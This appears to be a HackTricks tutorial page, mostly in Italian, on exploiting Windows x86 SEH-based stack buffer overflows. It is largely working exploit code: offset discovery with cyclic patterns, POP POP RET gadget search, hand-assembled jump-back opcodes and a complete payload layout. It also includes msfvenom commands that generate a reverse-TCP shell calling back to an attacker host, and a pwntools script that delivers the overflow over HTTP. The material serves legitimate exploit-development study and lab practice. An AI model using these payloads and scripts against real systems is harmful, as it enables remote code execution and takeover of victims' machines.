Windows SEH-based Stack Overflow Exploitation (nSEH/SEH)
Reading time: 7 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
SEH-based exploitation è una tecnica classica per Windows x86 che sfrutta la catena dello Structured Exception Handler memorizzata nello stack. Quando un stack buffer overflow sovrascrive i due campi da 4 byte
- nSEH: pointer to the next SEH record, and
- SEH: pointer to the exception handler function
un attacker può prendere il controllo dell'esecuzione tramite:
- Impostare SEH all'indirizzo di un gadget POP POP RET in un modulo non protetto, così che quando viene dispatchata un'eccezione il gadget torni in byte controllati dall'attacker, e
- Usare nSEH per reindirizzare l'esecuzione (tipicamente un short jump) indietro nel grande buffer overflow dove risiede lo shellcode.
Questa tecnica è specifica per processi a 32-bit (x86). Su sistemi moderni, preferire un modulo senza SafeSEH e ASLR per il gadget. I bad characters spesso includono 0x00, 0x0a, 0x0d (NUL/CR/LF) a causa di C-strings e HTTP parsing.
Trovare offset esatti (nSEH / SEH)
- Causare il crash del processo e verificare che la catena SEH sia stata sovrascritta (es., in x32dbg/x64dbg, controllare la SEH view).
- Inviare un pattern ciclico come dati di overflow e calcolare gli offset dei due dword che finiscono in nSEH e SEH.
Esempio con peda/GEF/pwntools su un body POST di 1000 byte:
# generate pattern (any tool is fine)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
# or
python3 -c "from pwn import *; print(cyclic(1000).decode())"
# after crash, note the two 32-bit values from SEH view and compute offsets
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH
# ➜ offsets example: nSEH=660, SEH=664
Valida posizionando dei marker in quelle posizioni (es., nSEH=b"BB", SEH=b"CC"). Mantieni la lunghezza totale costante per rendere il crash riproducibile.
Scelta di un POP POP RET (SEH gadget)
Ti serve una sequenza POP POP RET per eseguire l'unwind del frame SEH e tornare ai byte nSEH. Cercala in un modulo senza SafeSEH e idealmente senza ASLR:
- Mona (Immunity/WinDbg):
!mona modules
poi!mona seh -m modulename
. - x64dbg plugin ERC.Xdbg:
ERC --SEH
per elencare POP POP RET gadgets e lo stato di SafeSEH.
Scegli un indirizzo che non contenga badchars quando scritto little-endian (es., p32(0x004094D8)
). Preferisci gadget all'interno del binario vulnerabile se le protezioni lo permettono.
Tecnica di jump-back (short + near jmp)
nSEH è lungo solo 4 byte, che può contenere al massimo un short jump di 2 byte (EB xx
) più padding. Se devi saltare indietro di centinaia di byte per raggiungere l'inizio del buffer, usa un near jump di 5 byte posizionato subito prima di nSEH e collegalo con un short jump da nSEH.
Con nasmshell:
nasm> jmp -660 ; too far for short; near jmp is 5 bytes
E967FDFFFF
nasm> jmp short -8 ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
EBF6
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
E96FFDFFFF
Idea di layout per un payload di 1000 byte con nSEH all'offset 660:
buffer_length = 1000
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding
payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad
payload += p32(0x004094D8) # SEH: POP POP RET (no badchars)
payload += b"D" * (buffer_length - len(payload))
Flusso di esecuzione:
- Si verifica un'eccezione e il dispatcher utilizza la SEH sovrascritta.
- POP POP RET effettua l'unwind verso il nostro nSEH.
- nSEH esegue
jmp short -8
entrando nel near jump di 5 byte. - Il near jump atterra all'inizio del nostro buffer dove risiedono il NOP sled + shellcode.
Caratteri problematici
Costruisci una stringa completa di badchar e confronta la memoria dello stack dopo il crash, rimuovendo i byte che vengono alterati dal parser del target. Per gli overflow basati su HTTP, \x00\x0a\x0d
sono quasi sempre esclusi.
badchars = bytes([x for x in range(1,256)])
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
Shellcode generation (x86)
Usa msfvenom con i tuoi badchars. Un piccolo NOP sled aiuta a tollerare le variazioni di posizionamento.
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f python -v sc
Se generato al volo, il formato hex è comodo da incorporare e per l'unhex in Python:
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f hex
Consegna via HTTP (CRLF precisi + Content-Length)
Quando il vettore vulnerabile è un HTTP request body, costruisci una raw request con CRLF esatti e Content-Length corretta in modo che il server legga l'intero corpo in overflow.
# pip install pwntools
from pwn import remote
host, port = "<TARGET_IP>", 8080
body = b"A" * 1000 # replace with the SEH-aware buffer above
req = f"""POST / HTTP/1.1
Host: {host}:{port}
User-Agent: curl/8.5.0
Accept: */*
Content-Length: {len(body)}
Connection: close
""".replace('\n','\r\n').encode() + body
p = remote(host, port)
p.send(req)
print(p.recvall(timeout=0.5))
p.close()
Strumenti
- x32dbg/x64dbg per osservare la catena SEH e analizzare il crash.
- ERC.Xdbg (x64dbg plugin) per enumerare SEH gadgets:
ERC --SEH
. - Mona come alternativa:
!mona modules
,!mona seh
. - nasmshell per assemblare short/near jumps e copiare raw opcodes.
- pwntools per creare payload di rete precisi.
Note e avvertenze
- Si applica solo ai processi x86. x64 usa uno schema SEH diverso e lo sfruttamento basato su SEH generalmente non è praticabile.
- Preferire gadget in moduli senza SafeSEH e ASLR; altrimenti, trovare un modulo non protetto caricato nel processo.
- I watchdog di servizio che riavviano automaticamente dopo un crash possono facilitare lo sviluppo iterativo dell'exploit.
Riferimenti
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
- ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)
- Corelan – Exploit writing tutorial part 7 (SEH)
- Mona.py – WinDbg/Immunity helper
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.